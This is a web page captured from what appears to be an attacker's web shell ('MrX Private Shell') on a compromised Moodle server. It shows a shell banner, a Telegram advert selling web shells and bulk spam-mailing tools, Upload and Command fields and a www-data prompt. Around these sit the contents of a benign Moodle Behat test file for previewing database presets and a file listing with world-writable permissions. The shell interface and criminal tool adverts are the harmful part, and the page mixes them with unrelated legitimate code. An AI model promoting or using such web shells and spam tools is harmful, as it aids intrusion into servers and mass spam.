__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_data
Feature: Users can preview presets
  In order to find the preset I am looking for
  As a teacher
  I need to preview the database activity presets

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | teacher1 | Teacher   | 1        | teacher1@example.com |
    And the following "tags" exist:
      | name | isstandard |
      | Tag1 | 1          |
    And the following "courses" exist:
      | fullname | shortname | category |
      | Course 1 | C1        | 0        |
    And the following "course enrolments" exist:
      | user     | course | role           |
      | teacher1 | C1     | editingteacher |
    And the following "activities" exist:
      | activity | name               | intro          | course | idnumber |
      | data     | Test database name | Database intro | C1     | data1    |
    And I am on the "Test database name" "data activity" page logged in as teacher1

  @javascript @_file_upload
  Scenario: Preview a user preset as list view template in database
    Given I follow "Presets"
    And I click on "Actions" "button"
    And I choose "Import preset" in the open action menu
    And I upload "mod/data/tests/fixtures/behat_preset.zip" file to "Preset file" filemanager
    When I click on "Import preset and apply" "button"
    And I follow "Templates"
    And I click on "Actions" "button"
    And I choose "Publish preset on this site" in the open action menu
    And I set the field "Name" to "Saved preset by teacher1"
    And I set the field "Description" to "Behat test preset"
    And I click on "Save" "button" in the "Save all fields and templates and publish as preset on this site" "dialogue"
    When I follow "Presets"
    And I click on "Saved preset by teacher1" "link"
    # Check list template preview fields.
    Then I should see "Saved preset by teacher1"
    And I should see "List header" in the "template-preview" "region"
    And I should see "List footer" in the "template-preview" "region"
    And I should see "List template content" in the "template-preview" "region"
    And I should see "My text field" in the "template-preview" "region"
    And I should see "This is a short text" in the "template-preview" "region"
    And I should see "My multiple selection" in the "template-preview" "region"
    And I should see "Multi 1" in the "template-preview" "region"
    And I should see "My date field" in the "template-preview" "region"
    And I should see "My checkbox field" in the "template-preview" "region"
    And I should see "Check 2" in the "template-preview" "region"
    And I should see "My geo field" in the "template-preview" "region"
    And I should see "41.3912°N 2.1639°E" in the "template-preview" "region"
    And I should see "My menu field" in the "template-preview" "region"
    And I should see "Menu 2" in the "template-preview" "region"
    And I should see "My number field" in the "template-preview" "region"
    And I should see "1234" in the "template-preview" "region"
    And I should see "My radio field" in the "template-preview" "region"
    And I should see "Radio 2" in the "template-preview" "region"
    And I should see "My text area field" in the "template-preview" "region"
    And I should see "This is a text area" in the "template-preview" "region"
    And I should see "My URL field" in the "template-preview" "region"
    And I should see "https://example.com" in the "template-preview" "region"
    And I should see "My file field" in the "template-preview" "region"
    And "Comma-separated values" "icon" should exist in the "template-preview" "region"
    And I should see "samplefile.csv" in the "template-preview" "region"
    And I should see "My picture field" in the "template-preview" "region"
    # Test CSS and JS templates.
    And I should not see "This content should not be displayed" in the "template-preview" "region"
    And I should not see "This text should change" in the "template-preview" "region"
    And I should see "New value" in the "template-preview" "region"

  @javascript @_file_upload
  Scenario: Preview a user preset as single view template in database
    Given I follow "Presets"
    And I click on "Actions" "button"
    And I choose "Import preset" in the open action menu
    And I upload "mod/data/tests/fixtures/behat_preset.zip" file to "Preset file" filemanager
    When I click on "Import preset and apply" "button"
    And I follow "Templates"
    And I click on "Actions" "button"
    And I choose "Publish preset on this site" in the open action menu
    And I set the field "Name" to "Saved preset by teacher1"
    And I set the field "Description" to "Behat test preset"
    And I click on "Save" "button" in the "Save all fields and templates and publish as preset on this site" "dialogue"
    When I follow "Presets"
    And I click on "Saved preset by teacher1" "link"
    And I set the field "Templates tertiary navigation" to "Single view template"
    # Check single view template preview fields.
    Then I should see "Saved preset by teacher1"
    And I should see "Single template content" in the "template-preview" "region"
    And I should see "My text field" in the "template-preview" "region"
    And I should see "This is a short text" in the "template-preview" "region"
    And I should see "My multiple selection" in the "template-preview" "region"
    And I should see "Multi 2" in the "template-preview" "region"
    And I should see "My date field" in the "template-preview" "region"
    And I should see "My checkbox field" in the "template-preview" "region"
    And I should see "Check 2" in the "template-preview" "region"
    And I should see "My geo field" in the "template-preview" "region"
    And I should see "41.3912°N 2.1639°E" in the "template-preview" "region"
    And I should see "My menu field" in the "template-preview" "region"
    And I should see "Menu 2" in the "template-preview" "region"
    And I should see "My number field" in the "template-preview" "region"
    And I should see "1234" in the "template-preview" "region"
    And I should see "My radio field" in the "template-preview" "region"
    And I should see "Radio 2" in the "template-preview" "region"
    And I should see "My text area field" in the "template-preview" "region"
    And I should see "This is a text area" in the "template-preview" "region"
    And I should see "My URL field" in the "template-preview" "region"
    And I should see "https://example.com" in the "template-preview" "region"
    And I should see "My file field" in the "template-preview" "region"
    And "Comma-separated values" "icon" should exist in the "template-preview" "region"
    And I should see "samplefile.csv" in the "template-preview" "region"
    And I should see "My picture field" in the "template-preview" "region"
    # Test CSS and JS templates.
    And I should not see "This content should not be displayed" in the "template-preview" "region"
    And I should not see "This text should change" in the "template-preview" "region"
    And I should see "New value" in the "template-preview" "region"

  @javascript
  Scenario: Preview a plugin preset in database
    Given I follow "Presets"
    When I click on "Journal" "link"
    Then I should see "Journal"
    And I should see "This is a short text"
    And I should see "This is a text area"
    And I select "Single view template" from the "Templates tertiary navigation" singleselect
    And I should see "This is a short text"
    And I should see "This is a text area"
    And I should see "This is a short text" in the "template-preview" "region"

  @javascript
  Scenario: Use back button to return to the presets page in database
    Given I follow "Presets"
    And I click on "Image gallery" "link"
    And I should see "Image gallery"
    When I click on "Back" "button"
    Then I should see "Choose a preset to use as a starting point."

  @javascript
  Scenario: Apply plugin preset from preview in database
    Given I follow "Presets"
    And I click on "Image gallery" "link"
    When I click on "Use this preset" "button"
    Then I should see "image"
    And I should see "title"

  @javascript @_file_upload
  Scenario: Apply user preset from preview in database
    Given I follow "Presets"
    And I click on "Actions" "button"
    And I choose "Import preset" in the open action menu
    And I upload "mod/data/tests/fixtures/behat_preset.zip" file to "Preset file" filemanager
    When I click on "Import preset and apply" "button"
    And I follow "Templates"
    And I click on "Actions" "button"
    And I choose "Publish preset on this site" in the open action menu
    And I set the field "Name" to "Saved preset by teacher1"
    And I set the field "Description" to "Behat test preset"
    And I click on "Save" "button" in the "Save all fields and templates and publish as preset on this site" "dialogue"
    When I follow "Presets"
    And I click on "Saved preset by teacher1" "link"
    And I click on "Use this preset" "button"
    Then I should see "Preset applied"
    And I should see "My URL field"

Filemanager

Name Type Size Permission Actions
actionsmenu_replacement.feature File 16.73 KB 0777
add_entries.feature File 6.91 KB 0777
advanced_search.feature File 4.08 KB 0777
behat_mod_data.php File 2.41 KB 0777
behat_mod_data_deprecated.php File 3.88 KB 0777
create_activity.feature File 1.88 KB 0777
data_activities.feature File 2.37 KB 0777
data_activity_completion.feature File 5.93 KB 0777
data_activity_completion_pass_grade.feature File 8.45 KB 0777
data_activity_rating.feature File 2.32 KB 0777
data_activity_read_only_dates.feature File 1.6 KB 0777
data_activity_timeline.feature File 2.57 KB 0777
data_no_calendar_capabilities.feature File 2.46 KB 0777
data_presets.feature File 19.47 KB 0777
default_templates.feature File 7.17 KB 0777
edit_templates.feature File 10.12 KB 0777
entry_approval.feature File 2.34 KB 0777
group_mode.feature File 6.14 KB 0777
import_presets.feature File 8.69 KB 0777
manageapproved.feature File 3.95 KB 0777
preview_preset.feature File 8.94 KB 0777
required_entries.feature File 12.84 KB 0777
tertiary_navigation.feature File 6.55 KB 0777
use_presets.feature File 11.94 KB 0777
view_entries.feature File 10.63 KB 0777
zero_state.feature File 3.36 KB 0777
Filemanager